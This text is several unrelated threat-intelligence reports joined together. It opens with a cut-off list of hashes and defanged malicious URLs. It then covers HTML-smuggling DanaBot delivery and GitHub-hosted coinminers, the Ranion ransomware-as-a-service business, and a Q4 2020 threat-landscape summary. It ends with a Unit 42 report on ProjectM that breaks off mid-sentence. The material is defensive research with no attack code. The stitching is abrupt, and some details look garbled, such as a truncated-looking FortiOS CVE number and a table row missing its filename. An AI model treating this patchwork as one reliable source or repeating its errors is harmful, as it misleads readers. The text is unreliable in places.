shellcode - a661f4fa36fbe341e4ec0b762cd0043247e04120208d6902aad51ea9ae92519e - Not Powershell MSBuild project - 18663fccb742c594f30706078c5c1c27351c44df0c7481486aaa9869d7fa95f8 - Word to Cobalt Strike - 35dd34457a2d8c9f60c40217dac91bea0d38e2d0d9a44f59d73fb82197aaa792 - Excel to Silent Trinity **URLs** - hxxp://apb[.]sh/helloworld[.]ps1 - hxxp://apb[.]sh/msbuild[.]xml - hxxp://apb[.]sh/per[.]txt - hxxp://makeonlineform[.]com/f/c3ad6a62-6a0e-4582-ba5e-9ea973c85540/ - HTA to Cobalt Strike URL
# Strange Bits: HTML Smuggling and GitHub Hosted Malware Sometimes we see odd stuff, like malware that employs a technique called "HTML Smuggling". Also, malware on GitHub seems to be a thing these days. "That's strange..." Many important discoveries do not start with a shouting of "Eureka" anymore, as they did in the days of old. Instead, the most intriguing bits of modern research will at some point contain the phrase “That’s strange…”, followed by more prodding and poking and – hopefully – a lightbulb moment. This series that we call "Strange Bits" contains many findings that struck our analysts as odd, either because they do not seem to make any sense at the time or because a malicious program exhibits behaviors that none of us have seen before. Maybe these findings will spark ideas in other fellow researchers – maybe those findings are just what it says on the tin: Strange…. ## DanaBot loader uses HTML smuggling This email has an unusual way to store contained malware. The email displays Polish text which prompts the user to click on a download link. The translated text says "This file can not be previewed. You can download the file." The `<a>` tag for this link has a download attribute with the name of the dropped ZIP archive: dokumentacja_28380.zip. However, the referenced data in the href attribute is not downloaded from a URL but saved as a base64 string using the data URI scheme. This is also called HTML smuggling (thanks to Rich Warren who gave me a hint to the blog post). The dropped ZIP archive contains a file named dokumentacja_28380.vbe. Despite its file extension, it is not encoded but a plain VBScript. The obfuscated script retrieves a PowerShell command which downloads DanaBot to the %TEMP% folder and executes it. ## GitHub repositories host coinminer malware and settings as base64 strings The GitHub user errorsysteme and their repositories were taken down after G DATA researchers discovered that they hosted malware. The repositories were discovered via a downloader sample. The user has two repositories, both contain text files with base64 strings of PE binaries and configuration files. The repository wask only contains a file named data_lssas. This file is downloaded and executed initially and will in turn obtain and install files and settings from the base repository. The contents of the "base" repository File types for files in the "base" repository after decoding the base64 strings The PE files named WerFault64 and WerFault86 are modified versions of the Non-Sucking Service Manager (NSSM). The file properties and icons have been changed to imitate Microsoft's actual WerFault.exe which is used for error reporting. The modified NSSM is used to install malware as a service on the system. A file named parameters contains the settings for the coinminer malware. The actual coinminer is the files data_cash64 and data_cash86 in the base repository. ## Referenced Samples | Description | Filename | SHA256 | |-------------|----------|--------| | DanaBot Loader Email | dokumentacja_28380.zip | f4d1a4ce0ad334b31aa444ab9ced0d9d1eb581f889f3dbcfc1050eea474ad3cf | | DanaBot Loader VBScript | dokumentacja_28380.vbe | 0222fecff6c56e7af6f1502328478283c46e7a243ef2edcac466c2acda5e3eb9 | | DanaBot Payload | DbBf | bfce42e325a9b999d1630a7ccc27ac8260104fb47bfc768637e2a2a687b65855 | | Initial GitHub malware downloader | 4b4c45569b1b7c3c114a633ec0a54864cd91fd99bea2645803d23e78f9fcd81c | | downloader in wask repository | data_lssas | 0075b6e78cebc1ed63a495918620aa7220ddabf7c9e501bc840d724ce930d2d3 | | Modified NSSM 64 bit version | WerFault64 | 3335ec57681b238846e0d19a3459dc739d11dfaf36722b7f19e609a96b97ad92 | | Modified NSSM 32 bit version | WerFault86 | 2f979194413c1b40a9d11bc4031d1672cd445d64b60343f6d308e4df0d2bdc6b | | Coinminer 64 bit version | data_cash64 | c3d982038039828f201a93b323b2b76f8e0db20a81aee89334afa22a4c83f36f | | Coinminer 32 bit version | data_cash86 | 8521c866fd37499631e6e1b0902a21e555e565d609bb6e2402eb86dec8743fa9 | Karsten Hahn Malware Analyst
# Ranion Ransomware - Quiet and Persistent RaaS **Threat Research** By Shunichi Imano and Fred Gutierrez | September 30, 2021 FortiGuard Labs Threat Research Report **Affected platforms:** Microsoft Windows **Impacted parties:** Windows Users **Impact:** Encrypts files on the compromised machines and demands ransom from the victim to recover the encrypted files. **Severity level:** High Ranion is a Ransom-as-a-Service (RaaS) that has enjoyed unusual longevity as it has been active since at least February 2017. While its activities and purpose—encrypting files on compromised machines and receiving ransom payment from the user to recover their files—may seem the same as other ransomware in the public’s eyes, the truth is that the inner workings of Ranion RaaS are unlike other ransomware. In this blog, FortiGuard Labs will explain how Ranion RaaS works. Ransomware Operations are Short-Lived For those of us monitoring cybercriminal organizations and malware, ransomware often has a very short shelf life. Some of the most notable ransomware movements in 2021 include: **Disappearance:** - The REvil (aka Sodinokibi) gang that had been active since 2019 went dark in June. - The Avaddon ransomware group halted its operations in June. It had begun its operations in 2019. - The Ragnarok ransomware gang, in operation since 2019, shut itself down in August and released its decryption key. - Darkside first appeared in 2020 and closed in May after compromising a major US pipeline company. - FonixCrypter ransomware gave up its criminal life in January and released a decryption tool and its master decryption key. **Debut and Rebranding:** - Ads for Blackmatter ransomware went up on cyber underground forums in July. While Blackmatter is not a rebrand of another ransomware, affiliation with the Darkside gang is rumored. - Haron ransomware debuted in July and is based on Thanos and Abaddon ransomware. - Doppelpaymar ransomware was rebranded as Grief (PayOrGrief). - SynAck ransomware was rebranded as El_Cometa in August. The average life span of the ransomware listed above, that either disappeared or rebranded itself in 2021, is a bit less than two years. Reasons for halting operations vary from one ransomware group to another, but they usually do so to escape the unwanted attentions of law enforcement and security researchers. ## Ranion Still Going Four Years Later The Ranion ransomware variant that FortiGuard Labs recently came across bucks that trend. The Ranion ransomware family appears to have been around since at least early 2017, giving it more than four years of longevity. In February of that year, Daniel Smith at Radware Security shed the first light on the Ranion ransomware, describing it as Ransomware-as-a-Service. Surprisingly, its website on the Dark Web has remained relatively unchanged: the Ranion developer still maintains its claim that Ranion was created for educational purposes and asks users not to use the ransomware for illegal activities. The latest version of Ranion, version 1.21, was released in July 2021. Amazingly, the Ranion developer has updated the ransomware every month in 2021 (except for May), including updates for detection evasion, which casts doubt on the claim that the ransomware is for educational purposes. Another interesting data point is that version 1.08 was released in at least January 2018 and was only updated seven times over a 35-month period (January 2018 – December 2020). However, it has seen rapid acceleration in its development in 2021, with six updates over a seven-month period for unknown reasons. Each update made in 2021 contains additional code using an open-source program named ConfuserEx to evade detection and protect the security vendors’ identities. ## Ranion RaaS Explained The latest version of Ranion ransomware is designed to encrypt files on a compromised machine using the following 44 file extensions, an increase of five new file types over previous analyses: .wallet, .txt, .rtf, .doc, .docx, .xls, .xlsx, .ppt, .pptx, .odt, .ods, .pdf, .jpg, .jpeg, .png, .gif, .bmp, .csv, .sql, .mdb, .db, .accdb, .sln, .php, .jsp, .asp, .aspx, .html, .htm, .xml, .psd, .cs, .java, .cpp, .cc, .cxx, .zip, .rar, .pst, .ost, .eml, .pab, .oab, .msg Although the ransomware is not designed to encrypt executable files, the Ranion developers state that users “can request other additional file types/extensions to encrypt for free as any files can be a target of Ranion ransomware.” ## How Ranion Makes Money Originally, back in 2017, Ranion offered users two support packages (a 1-year and a 6-month service). Today, the Ranion team offers four support packages: Elite, Premium, Standard, and Test. | Package | Elite | Premium | Standard | Test | |---------|-------|---------|----------|------| | 32-bit Ranion Ransomware | 〇 | 〇 | 〇 | 〇 | | 64-bit Ranion Ransomware | 〇 | 〇 | 〇 | 〇 | | Decrypter | 〇 | 〇 | 〇 | 〇 | | Subscription Duration (month) | 12 | 12 | 6 | 1 | | Price (USD) | 1900 | 900 | 490 | 120 | Previously, the most expensive package was offered for 0.95 bitcoin and the cheapest for 0.60 bitcoin. In February 2017, one bitcoin was worth about 1,200 US dollars, which means these packages sold for around 1,140 USD and 720 USD, respectively. As of September 2021, one bitcoin exchanged for around 50,000 USD so Ranion developers have adjusted their prices, and they also now offer discounts for easy-to-buy add-on options. Ranion’s business model is quite different from other RaaS vendors. Typically, Ransomware-as-a-Service vendors pay out 60%-80% of any ransoms collected to their “affiliates” that have successfully installed their ransomware onto a victim’s machine. The Ranion developers do not take a middleman’s cut. Instead, their affiliates pay for the RaaS service upfront, and they then receive 100% of any ransoms collected. And while some RaaS vendors try to recruit experienced affiliates, and often screen potential affiliates before allowing them to sign up for the service, Ranion developers do not. This is one of the reasons why many inexperienced affiliates start with Ranion. It allows them to get used to the ransom operation. It is also a choice for affiliates who were unable to pass the screening process imposed by other ransomware gangs, thereby lowering the bar for entry. To see how well this model works, we tracked some Bitcoin wallets used by one of the older Ranion samples for ransom payment. Two moderate payments, totaling about USD $153 and $460 worth of Bitcoin, were made to the wallet within a week of the Ranion sample being made available. But a Bitcoin wallet used by Ranion has recorded transactions from two other Bitcoin wallets. About $4.7 million USD worth of Bitcoin was transferred to one of those wallets from over 300 different Bitcoin wallets. ## Dropper Add-On Another notable characteristic of Ranion is that it provides an opportunity for buyers to purchase a dropper add-on. At first glance, a “dropper” may sound like a malware add-on that Ranion affiliates can use to deliver ransomware, but it’s not. According to an FAQ posted on the purchase site, the add-on dropper has the following description: “RANION can download a program of yours (exe file) and execute it after encryption process ended.” For example, an attacker might use this add-on to silently download and install a remote access tool (RAT) on a victim’s machine infected with Ranion. Even if the victim opts to pay ransom, the Ranion decrypter only decrypts the encrypted files but does not remove the RAT. The Ranion affiliate can then turn to other RaaS services that are willing to purchase existing corporate access and sell that compromised victim for additional profit. ## The Ranion Ransomware Delivery Method The Ranion ransomware’s delivery method recently observed by FortiGuard Labs is very straightforward. It was done through a spearphishing email with a zip file attachment that included the Ranion ransomware executable. As Ranion is more suited for beginner threat actors, the lack of sophistication in their ransomware delivery might be a reason why Ranion has not gained household status in the ransomware realm. This may also be why they have managed to stay under the radar for more than four years. Ranion’s ransom message supports eight languages by default (English, Russian, German, French, Spanish, Italian, Dutch, and Persian). Any regions in which those languages are primarily used can be a target of Ranion. ## Ranion Ransomware Origin: HiddenTear Copycat? Ranion bases its code on the open-source proof-of-concept ransomware known as HiddenTear. There are some code similarities between the two projects. To be fully undetectable, the Ranion team has consistently relied on the ConfuserEx project, which is a free and open-source obfuscator that makes malware harder to analyze by “protecting” .NET applications through symbol renaming, anti-debugging, encryption, compression, and other functions. ## Conclusion - Ranion Ransomware HiddenTear-based Ranion is a low-profile, low-cost RaaS that has not achieved the same success of other, more notorious ransomware gangs. However, this ransom service provides enough basic features for new threat actors to use it as a steppingstone for working with more sophisticated malicious services. Ranion is only “educational” in that it helps train wannabe cyber criminals inflict the same damage as other ransomware variants that have simply adopted more polished and sophisticated delivery and propagation mechanisms. ## Fortinet Protections Fortinet customers are already protected from this malware by FortiGuard’s AntiVirus and FortiEDR services, as follows: - MSIL/Kryptik.LMX!tr - MSIL/Agent.AZG!tr - MSIL/Agent.BJU!tr - MSIL/Bladabindi.FM!tr - MSIL/Filecoder.FU!tr - MSIL/GenKryptik.BLYY!tr - MSIL/GenKryptik.FEWS!tr - W32/Crypmodadv.A!tr - W32/DOTHETUK.FU!tr.ransom - W32/Hesv.BXFI!tr **Indicators of Compromise (IOCs):** - SHA2: - 52f6e8c0c28f802d8dfd9138bcc971d449d0526469a36541359b6fc31d44d7dc - d63f032180d6cbc3165f79dac13f81e69f3176b06f0ff4b162b167e4f45f5e93 - f687c51ee4889c6a35536d06c87b0123d17a483f7e2f5efcfb423fba94e186be - f18044a85ceb3c472ae57e3473e2f14f945f22a9df634caa242b11e5f81c561b - e4c42969a0327ce133b8b6dd52b0f2e926fbc43a48cf2abbd78d521e310b00e4 **MITRE ATT&CK information** - **Execution** - T1204.002: Malicious File - **Persistence** - T1547.001: Registry Run Keys/Startup Folder - **Privilege Escalation** - T1548.002: Bypass User Account Control - **Defense Evasion** - T1027.002: Software Packing - T1548.002: Bypass User Account Control - T1562.001: Disable or Modify Tools - **Discovery** - T1083: File and Directory Discovery - **Impact** - T1486: Data Encrypted for Impact - T1491.001: Internal Defacement
# Cybersecurity Threatscape Q4 2020 ## Executive Summary Highlights of Q4 2020 include: - The number of incidents grew by 3.1 percent compared to the previous quarter. The share of hacking as an attack method on organizations continues to increase, from 30 percent in Q3 to 36 percent in Q4. In incidents affecting individuals, experts recorded a surge in the use of social engineering: 67 percent in Q3 versus 85 percent in Q4. - Throughout the year, we saw steady growth in ransomware attacks, and Q4 was no exception. Ransomware accounted for 56 percent of all malware attacks (compared to 51% in Q3). Among victims in our dataset, Ryuk ransomware was the primary culprit. - For two years, industrial companies have been one of the three most tempting targets for attackers. Such attacks tend to be the handiwork of ransomware operators and APT groups. The RTM group has been particularly active: the PT Expert Security Center recorded 61 phishing attacks, with industrial companies among the targets. - Clients of software vendor SolarWinds were affected by a high-profile supply chain attack. The incident affected over 40 organizations that had installed a compromised update of the SolarWinds Orion infrastructure monitoring platform. The hackers managed to steal penetration testing tools from security firm FireEye. These tools will likely resurface in future attacks for years to come. - There was a spike in attacks on retailers and commerce. The number of attacks increased by 56 percent compared to Q3. Such a sharp increase is the work of ransomware operators and web skimmers placed by attackers on hacked store websites. - In late 2019, we shared our forecasts about how the threat landscape would change in 2020. We expected high-profile cyberattacks in the lead-up to the U.S. presidential elections. Our forecasts came true. Attackers hacked election support systems, stole money from parties' accounts, and sent numerous phishing emails on election-related topics. During the most recent election cycle, the Wisconsin Democratic Party caught over 800 phishing attempts. - 40 percent of phishing campaigns leveraged interest in COVID-19 vaccines. The popularity of COVID-19 as a topic for social engineering remains unchanged from Q3 (4.6%). Despite the huge amount of news and other content on COVID-19, attackers still manage to strike the right note as they trick victims into entering credentials on fake websites, opening malicious attachments, or revealing their payment card data to send money to "people in need" or "pay for the vaccine." To protect from cyberattacks, we recommend following our recommendations for personal and corporate cybersecurity. In light of recent attacks aimed at exploiting vulnerabilities in IT infrastructure, we urge companies to install patches without delay. To make it easier to identify and eliminate security flaws, companies should adopt an automated vulnerability management process. Companies should also deploy modern security tools, including web application firewalls, network traffic analysis, and SIEM. To prevent attacks related to the delivery of malware by email, we recommend checking attachments in a sandbox, a special virtual environment designed for analyzing file behavior. ## Statistics Hacking as an attack method against organizations was already increasing in Q3 and continued climbing in Q4. From October to December 2020, the increase was 6 percentage points. Eight out of ten attacks were targeted. There was a surge in social engineering in attacks on individuals, from 67 percent to 85 percent. The most common motive behind cyberattacks in Q4 2020 was data theft. Personal data and trade secrets are still in great demand in attacks on organizations. In attacks against individuals, hackers most often target credentials and personal data. Compared to the previous quarter, the number of incidents rose by 3.1 percent; compared to the same quarter last year, it was 41.2 percent larger. ### Figure 1. Number of incidents per month in 2019 and 2020 Access to information: 61% Financial profit: 42% Hacktivism: 16% Cyberwar: 1% Unknown: 1% ### Figure 2. Attackers' motives (percentage of attacks) ### Figure 3. Types of data stolen 80% of attacks are targeted. 12% of attacks are directed at individuals. ### Figure 4. Victim categories among organizations in Q4 2020 ### Figure 5. Attack targets (percentage of attacks) ### Figure 6. Attack methods (percentage of attacks) ## Malware Attacks Throughout the year, we noted continuous growth in malware attacks. In Q4 2020, we saw a slowdown in the explosive growth in ransomware attacks from Q3. The share of ransomware attacks increased by 5 percentage points versus the previous quarter, to 56 percent. During the year, we also saw the active use of spyware in attacks against individuals. ### Figure 7. Malware types (percentage of attacks involving malware) In attacks on organizations, the most frequent method used to spread malware (in 30% of cases) was exploitation of vulnerabilities in IT infrastructure and protection flaws. For example, during Q4 hackers actively exploited an Oracle WebLogic server vulnerability (CVE-2020-14882) that allowed remote code execution, though a patch was released in early October. One hacker attack was aimed at deploying Cobalt Strike Beacons, which allow persistent remote access to compromised hosts. This access later allowed attackers to collect data and deploy second-stage malware. Another wave of attacks involved the distribution of DarkIRC malware. Social engineering remains an ever-present hazard. In 65 percent of attacks on organizations, the first stage relied on the human factor. Many such attacks involved the Emotet trojan. After a lull, the trojan re-emerged in full force in mid-2020. In Lithuania, for example, hackers used the trojan in attacks against several municipalities and the National Center for Public Health (NVSC). In other attacks targeting a broader audience, hackers sent phishing emails that pretended to be messages from Windows Update, shipping information, resumes, COVID-19 information, and even invitations to a Halloween party. As usual, the emails contained malicious Microsoft Word (.doc) attachments that, once opened, try to trick the user into enabling macros. Just as interesting and as dangerous, the BazarLoader trojan made a splash in Q4. The trojan is used to obtain remote access to a victim's computer and deploy Ryuk ransomware. In early October, researchers at cybersecurity firm ProofPoint spotted a new phishing campaign that capitalized on interest in the health of Donald Trump. The malicious emails asked victims to download a Google document by clicking an embedded link. Clicking the link downloaded the BazarLoader executable to the victim's computer. ## New Ransomware Boom Medical and government institutions, as well as industrial companies, bore the brunt of ransomware attacks. ### Figure 10. Ransomware attacks by industry Operators of Ryuk ransomware attacked medical institutions most frequently in Q4 2020. The victims included Wyckoff Heights Medical Center in Brooklyn, the University of Vermont Health Network, Sky Lakes Medical Center in Klamath Falls (Oregon), St. Lawrence Health System (New York), a gastroenterology clinic in Nevada, and Taylor Made Diagnostics. Attacks on medical institutions can have devastating consequences. For example, electronic health records for cancer patients went down after a cyberattack on the University of Vermont Health Network. The system was restored only a month after the attack, forcing clinicians to attempt to recreate chemotherapy protocols from memory in the meantime. However, Ryuk operators target other industries as well. FS-ISAC describes Ryuk as a "rapidly evolving threat" to financial institutions. An incident with payment card processing giant Total System Services is a notable example. The third-largest payment processor for financial institutions in North America was hit by a ransomware attack in early December. More than 10 GB of data was published as a result of the attack. In one Ryuk ransomware incident investigated by DFIR experts, the attackers managed to compromise an entire corporate network with the ransomware in just two hours. The attackers exploited vulnerability CVE-2020-1472 for the initial attack vector. On average, it takes ransomware operators from two to five days to perform an attack. A new ransomware operator known as Hades debuted in early December. The first reported incident took place on December 15, when trucking and freight logistics company Forward Air suffered a ransomware attack. The attack caused disruption and service delays, since cargo documentation was stored electronically. Nine days after the Forward Air incident, news came of an attack on logistics provider OmniTRAX. This attack was attributed to the Conti ransomware gang. The hackers stole over 70 GB of internal documents. OmniTRAX refused to pay the ransom. Security experts warn against paying off ransomware attackers, since doing so encourages future crimes and justifies the continued investment of time and effort. However, not all companies follow these recommendations; some of them agree to pay up. In Q4 2020 alone, several companies paid a ransom, including online educator K12, hit by Ryuk ransomware in mid-November; Barbados-based conglomerate Ansa, attacked by REvil in October; a Mississippi school district; and Delaware County (Pennsylvania), hit by DoppelPaymer ransomware. The last two victims paid attackers $300,000 and $500,000, respectively. First observed in September 2020, Egregor ransomware made a name for itself at the end of the year. Prominent victims included transportation agency TransLink, Chile-based multinational retailer Cencosud, U.S. department store Kmart, game developers Ubisoft and Crytek, U.S. bookstore giant Barnes & Noble, and major staffing agency Randstad. At Barnes & Noble, the stolen data included financial and audit documents as well as client information, including shipping addresses, email addresses, and purchase history. As a result of the attack on Cencosud, the company's customers were temporarily unable to use Cencosud Card credit cards, make returns, or pick up web purchases. Nor did ransomware operators spare resorts. In late October, U.S. ski and golf resort operator Boyne Resorts suffered a WastedLocker ransomware attack. The company's reservations system was down for days as a result. In November, web hosting provider Managed.com was attacked by REvil ransomware. The company's web hosting systems were unavailable for at least four days. The attack impacted client sites. Managed.com said the attack took down its entire infrastructure, including WordPress and DotNetNuke managed hosting solutions, mail servers, DNS servers, RDP access points, FTP servers, and online databases. The hackers demanded a $500,000 ransom. ## Attacks on the Industrial Sector Industrial companies have remained the second-most popular target for the last two years. In Q4 2020, a third of attacks on the industry involved hacking, and 84 percent of attacks were performed using malware. ### Figure 12. Main attack methods in 2020 (percentage of attacks on industrial companies) The PT Expert Security Center recorded an uptick in attacks by the RTM group: 61 phishing mailings from them targeted the industrial sector, among others. Banking trojans, which previously had been used in 33 percent of attacks against industrial companies, grew to account for 59 percent of total malware attacks. ### Figure 13. Types of malware in attacks on industrial companies (percentage of malware-related attacks) Two airplane makers hit ransomware turbulence in Q4. RansomExx attacked Brazilian company Embraer. The attackers stole and later published employee details, contracts, flight simulation data, and other confidential information. Next, operators of Ragnar Locker ransomware breached Dassault Falcon Jet's network and encrypted the company's systems by exploiting vulnerability CVE-2019-19781 in Citrix Application Delivery Controller. The hackers stole trade secrets, including documents pertaining to the development of a new Falcon 6X business jet. By persisting on the company's network for over half a year, they were able to thoroughly study the infrastructure and strike the most sensitive targets. Dassault Falcon Jet is not the only major victim of Ragnar Locker. On November 1, Italian liquor company Campari Group joined the list of victims. Attackers made off with 2 TB of data, including bank statements, emails, and trade secrets. They demanded a ransom of $15 million. In return, they promised to provide a decryptor, not to publish the stolen data, and even provide a network penetration report and recommendations on how to improve security. The DoppelPaymer ransomware gang demanded an even greater ransom—a whopping $34 million—to decrypt systems and keep quiet after an attack on electronics manufacturer Foxconn. The attackers stole more than 100 GB of data. Interestingly, they made a point of stating that they had targeted only Foxconn servers, avoiding employees' workstations. Attackers did not leave out energy companies, either. A cyberattack on October 13 in Mumbai caused a two-hour power outage. Attackers targeted the city's load dispatch center. The outage disrupted operations at the stock exchange and other establishments across Mumbai, Thane, and Navi Mumbai, and led to the cancellation of train services. Mumbai hospitals shut down all non-ICU patient care. In mid-November, energy company Parkland in Calgary (Canada) was attacked by the operators of Clop ransomware. The stolen information included sensitive documents related to refinery operations as well as personal data, such as a scan of one of the directors' passports. At The Standoff cyber-range in November 2020, theft of sensitive documents from a refinery constituted one of the most frequently triggered risks. In November 2020, attackers hacked a water reservoir SCADA system in Israel. With such access, attackers can freely modify the operating parameters of critical infrastructure. They could, for example, increase the water pressure in the reservoir (causing it to burst) or increase the temperature to critical levels. Lack of authentication and direct connection of ICS devices to the Internet made the hack possible. After attackers published a video of the breach, authentication was turned on but the system remained Internet-accessible, meaning that hackers could strike again. ## Supply Chain Attacks Software vendors were another "trendy target" in Q4. The most prominent incident targeted SolarWinds clients, including the U.S. Department of State, Microsoft, Cisco, and FireEye. In a supply chain attack, attackers penetrated the SolarWinds network and added a malicious backdoor into updates for the company's Orion platform. Around 18,000 clients installed the tainted update on their systems. Of note, the attackers managed to steal penetration testing tools from cybersecurity firm FireEye. The stolen software contains exploits for numerous vulnerabilities, which attackers will likely leverage in future campaigns. In November, domain name registrar GoDaddy fell victim to a phishing attack. The attackers duped employees into changing registration records of several clients, including cryptocurrency exchanges NiceHash and Liquid. The changes allowed redirecting user traffic to attacker-controlled servers. ## Dangerous Shopping The number of attacks on retail and commerce increased by 56 percent compared to Q3, reaching a new high for the last two years. When attacking retail and commerce, threat actors are typically seeking payment card data, which accounted for 33 percent of all data stolen in Q4. Other targets include customers' personal data (27%) and credentials (20%). Ransomware was used in 31 percent of incidents. One notable example is the attack on South Korean retailer E-Land on November 22. The ransomware operator had persistence on the company's network for more than a year. During this time, they exfiltrated credit card data with the help of POS malware. The company learned of the data breach only after the ransomware attack. As a result, E-Land was forced to shut down 23 stores. Attackers failed to capture CVCs and CVVs, but the amount of stolen data is enough to create fake cards. Magecart attacks accounted for 23 percent of incidents. The most interesting thing about these attacks is how they are made stealthy. For example, researchers at cybersecurity company Sansec discovered web skimmers inside CSS code on the sites of three different online stores. This tactic is useful for evading detection, since CSS code is not commonly checked by security scanners and will most likely escape attention during manual audits. The skimmer script launched only when customers of compromised sites started to enter payment or personal information. Malefactors did not pass up Black Friday: a self-healing skimmer was discovered on over 50 online stores. On the compromised sites, the skimmer script showed a fake payment form and then sent all of the intercepted data to the real checkout page. The transaction process was virtually indistinguishable from the real thing, so security systems did not raise any flags. For robust persistence, attackers placed four payload components on the hacked websites: 1. Backdoor loader, to install the skimmer 2. Backdoor watchdog, to restore the backdoor in the event of detection and deletion 3. Web skimmer 4. Infostealer, to steal administrator credentials Therefore, even if the entire infection and healing chain were to be discovered, the infostealer would still provide continuous access to servers, allowing the attackers to deploy all the payload components a second time. The infection became possible in the first place only because all the compromised stores were running Magento versions 2.2.3–2.2.7, despite being urged to upgrade to a more recent version. Even when criminals do not manage to hack online stores, customers may still not receive products due to attacks on other links in the supply chain, such as delivery. One such incident struck Russian delivery service PickPoint on December 4. Attackers hacked the company's network of package lockers, remotely opening 2,732 lockers in Moscow and St. Petersburg. The process of restoring systems took several days. ## Pre-Election Happenings In late 2019, Positive Technologies experts shared their forecasts about cybersecurity trends for 2020. They expected many cyberattacks in the run-up to the U.S. presidential elections, including against the sites of political parties and candidates. This is, indeed, what happened. In late October, hackers stole $2.3 million from the account of the Wisconsin Republican Party. Criminals manipulated invoices from four of the party's direct mail and merchandise vendors. Also in Wisconsin, a spokeswoman for the state's Democratic Party said there had been more than 800 attempts to phish for financial gain during the most recent election cycle, but none were successful. Cyberattacks hit not only those in power, but also ordinary people. On October 7, the DoppelPaymer ransomware gang stole data on voters in the state of Georgia in an attack on the network and phone systems of Hall County. In early November, a phishing attack was spotted in which Qbot malware was distributed in a file allegedly containing information about election interference. Once on a victim's computer, Qbot starts grabbing user data and email messages for use in later attacks. Election support systems fell prey to attacks exploiting vulnerability CVE-2018-1337 in the FortiOS SSL VPN and Windows vulnerability CVE-2020-1472. The criminals behind Emotet malware got in on the act as well. In an October phishing campaign, they sent emails purporting to come from the U.S. Democratic National Committee. The emails claimed to be looking for volunteers, with an attachment promising further information. But in reality, opening the attachment triggered a message that the file was created on an iOS device and prompted users to "enable content" in order to view the file. Once a user enabled content, the infection process started. ## One Thousand and One Ways to Exploit COVID-19 The share of social engineering attacks that made use of the pandemic remained the same as in Q3: 4.6 percent. Despite the abundance of materials available online about COVID-19, attackers still manage to lure victims into opening phishing emails with the promise of valuable information. In one such attack, a phishing email disguised as an automatic message from SharePoint linked to a document supposedly informing of pandemic-related requirements. Clicking the link led victims to an attacker-controlled site. Another popular ruse was financial relief. In late October, fraudsters sent messages purporting to come from the International Monetary Fund claiming that 125 beneficiaries had been shortlisted for compensation. All users had to do to receive this bounty was to reply with their private email address and provide additional information if requested. The goal was to collect as much user information as possible. The attack was masked to evade detection: the message did not contain any links, the "reply-to" address differed from the sender address, and the message was made to look like part of an email thread. In December, fraudsters impersonated the New York Department of Labor to offer $600 in pandemic relief. To receive the money, users were asked to enter their personal data in a special form. In yet another phishing attack, messages claimed to contain COVID-19 test results. The email contained a password-protected RAR file with malware inside. This is another time-proven stealth technique, since not all security tools can scan encrypted RAR files. Interest in COVID-19 vaccines was targeted in 40 percent of all phishing attacks in Q4. A vivid example is the December phishing campaign discovered by KnowBe4 security researchers. The campaign was propelled by reports that a vaccine manufacturer might not be able to supply additional vaccine doses to the U.S. Tapping into panic and confusion, hackers sent messages asking users to fill out a form in order to get on a vaccine list. When users clicked the included link, they were redirected to a phishing site that pretended to be a legitimate cloud service asking users to sign in. Throughout the quarter, we observed attacks on vaccine production and supply chains. Pharmaceutical companies, such as Fareva, Dr. Reddy's, Johnson & Johnson, Novavax, Genexine, Shin Poong Pharmaceutical, Celltrion, and AstraZeneca, came under a barrage of attacks. U.S.-based cold storage giant Americold, whose facilities have considerable importance for vaccine storage, was not spared either: sources said the company was hit by a ransomware attack. Cyberattacks also targeted government agencies involved in making vaccine-related decisions. In early December, the European Medicines Agency was hit by a cyberattack in which documents of vaccine developers Pfizer and BioNTech were stolen. ## About the Research In this quarter's report, Positive Technologies shares information on the most important global IT security threats. Information is drawn from our own expertise, outcomes of numerous investigations, and data from authoritative sources. In our view, the majority of cyberattacks are not made public due to reputational risks. The result is that even organizations that investigate incidents and analyze activity by hacker groups are unable to perform a precise count. This research is conducted in order to draw the attention of companies and ordinary individuals who care about the state of information security to the key motives and methods of cyberattacks, as well as to highlight the main trends in the changing cyber threat landscape. In this report, each mass attack (in which attackers send out a phishing email to many addresses, for instance) is counted as a single incident. Definitions for terms used in this report are available in the glossary on the Positive Technologies site. ## About Positive Technologies For 19 years, Positive Technologies has been creating innovative solutions for information security. We develop products and services to detect, verify, and neutralize the real-world business risks associated with corporate IT infrastructure. Our technologies are backed by years of research experience and the expertise of world-class cybersecurity experts. Over 2,000 companies in 30 countries trust us to keep them safe.
# ProjectM: Link Found Between Pakistani Actor and Operation Transparent Tribe **By Robert Falcone and Simon Conant** **March 25, 2016** Unit 42 is currently researching an attack campaign that targets government and military personnel of India. This attack appears to overlap with the Operation Transparent Tribe and Operation C-Major campaigns that targeted Indian embassies in Saudi Arabia and Kazakhstan, as well as the Indian military. We are tracking the group of actors involved in this campaign as ‘ProjectM.’ During our research, we found a linkage between the infrastructure used by ProjectM and an individual from Pakistan. We cannot definitively confirm this individual is involved with this attack campaign, but the evidence that we will discuss in this blog post suggests that it is highly likely that this individual has some involvement with the threat group. This blog post highlights the trail of evidence individuals leave on the Internet when they are not careful about disguising their identity. All of the information collected about this actor is public and accessible through open source research. ## Overview of Transparent Tribe The ProjectM actors rely on both spear-phishing emails and watering hole sites to deliver a variety of different tools to target the Indian government and military. ProjectM actors used a blog with a theme related to the Indian military titled “India News Tribe” (intribune.blogspot.com) as a watering hole to deliver their payloads. This group also used spear-phishing emails with malicious RTF files exploiting CVE-2010-3333 or CVE-2012-0158, in addition to Excel files that contained malicious macros to download and install their payloads as well. The actors have access to a sizeable toolset of Trojans that they use in their attack campaigns, including custom developed tools called Crimson and Peppy, along with off-the-shelf remote administration tools (RATs) and downloaders, such as DarkComet and Bozok. Another interesting part of this campaign is the use of techniques and Trojans often seen in cybercrime attacks, such as the use of the Andromeda Trojan as an initial payload in their attacks to download and execute other tools in their toolset. The Operation Transparent Tribe report by Darien Huss of Proofpoint provides an excellent analysis of the various tools used by this group, including Crimson and Peppy and their associated infrastructure. ## Registration Slip Up During our research, we analyzed the registration information of the Andromeda, Crimson and Peppy Trojan command and control domains used by ProjectM. A majority of the infrastructure associated with ProjectM was registered using WHOIS protection services, which conceals the actual registrant’s information (name, email, etc.) used to register the domain name. However, we discovered that the actors had in all likelihood, inadvertently neglected to use WHOIS protection on two domains in their infrastructure that they used to host C2 servers for the Andromeda Trojan. The two undisguised domains were “winupdater.info” and “ordering-checks.com”, which were registered using the email address “[email protected]”. The Andromeda samples used these undisguised domains to deliver Peppy Trojans that used the previously observed ProjectM domain “bbmdroid.com” as a C2 server. The email address and information used to register these domains appears to be real and associated with the actor, which differs from most infrastructure used in targeted attacks that use fake information and a disposable email account during registration. On August 5, 2014, the actor seemingly discovered his mistake as the “ordering-checks.com” domain was updated with 